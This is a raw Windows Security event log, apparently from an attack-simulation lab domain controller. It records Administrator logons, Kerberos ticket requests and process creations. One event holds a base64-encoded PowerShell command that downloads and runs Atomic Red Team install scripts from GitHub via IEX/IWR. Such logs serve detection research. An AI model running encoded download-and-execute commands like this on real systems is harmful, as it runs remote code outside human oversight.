-RecordNumber=257717 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E24A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257716 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E24A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {AB2CC643-F2D9-3E3F-FB73-A8450A6F0457} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257715 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {AB2CC643-F2D9-3E3F-FB73-A8450A6F0457} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257714 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {AB2CC643-F2D9-3E3F-FB73-A8450A6F0457} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257713 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257712 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E17A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257711 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x533882 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257710 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x534022 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257709 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E17A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257708 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E17A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {AB2CC643-F2D9-3E3F-FB73-A8450A6F0457} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257707 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {AB2CC643-F2D9-3E3F-FB73-A8450A6F0457} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257706 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {AB2CC643-F2D9-3E3F-FB73-A8450A6F0457} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257705 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257704 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E13A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257703 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E13A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257702 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E13A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {AB2CC643-F2D9-3E3F-FB73-A8450A6F0457} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257701 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {AB2CC643-F2D9-3E3F-FB73-A8450A6F0457} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257700 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {AB2CC643-F2D9-3E3F-FB73-A8450A6F0457} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257699 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257698 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x537C5F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257697 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5371E1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257696 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53446A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257695 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257749 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x53E24A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1320 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xde4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgBcAE0AYQBpAG4AIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBGAGkAcgBzAHQAUgB1AG4AQwB1AHMAdABvAG0AaQB6AGUAIgAgAC0AVgBhAGwAdQBlACAAMgAKAEkARQBYACAAKABJAFcAUgAgAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcgBlAGQAYwBhAG4AYQByAHkAYwBvAC8AaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAC8AbQBhAHMAdABlAHIALwBpAG4AcwB0AGEAbABsAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAuAHAAcwAxACkACgBJAG4AcwB0AGEAbABsAC0AQQB0AG8AbQBpAGMAUgBlAGQAVABlAGEAbQAgAC0ARgBvAHIAYwBlAAoASQBFAFgAIAAoAEkAVwBSACAAJwBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAHIAZQBkAGMAYQBuAGEAcgB5AGMAbwAvAGkAbgB2AG8AawBlAC0AYQB0AG8AbQBpAGMAcgBlAGQAdABlAGEAbQAvAG0AYQBzAHQAZQByAC8AaQBuAHMAdABhAGwAbAAtAGEAdABvAG0AaQBjAHMAZgBvAGwAZABlAHIALgBwAHMAMQAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAAoASQBuAHMAdABhAGwAbAAtAEEAdABvAG0AaQBjAHMARgBvAGwAZABlAHIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAHAAbwBPAHcAbgBlAHIAIAAiAHMAcABsAHUAbgBrACIAIAAtAEIAcgBhAG4AYwBoACAAIgBsAG8AYwBhAGwALQBtAGEAcwB0AGUAcgAiAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257748 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x542403 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257747 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x542403 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {7F565D91-968B-DE4F-AA22-ADADBF1E1E09} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257746 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {7F565D91-968B-DE4F-AA22-ADADBF1E1E09} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257745 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {7F565D91-968B-DE4F-AA22-ADADBF1E1E09} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 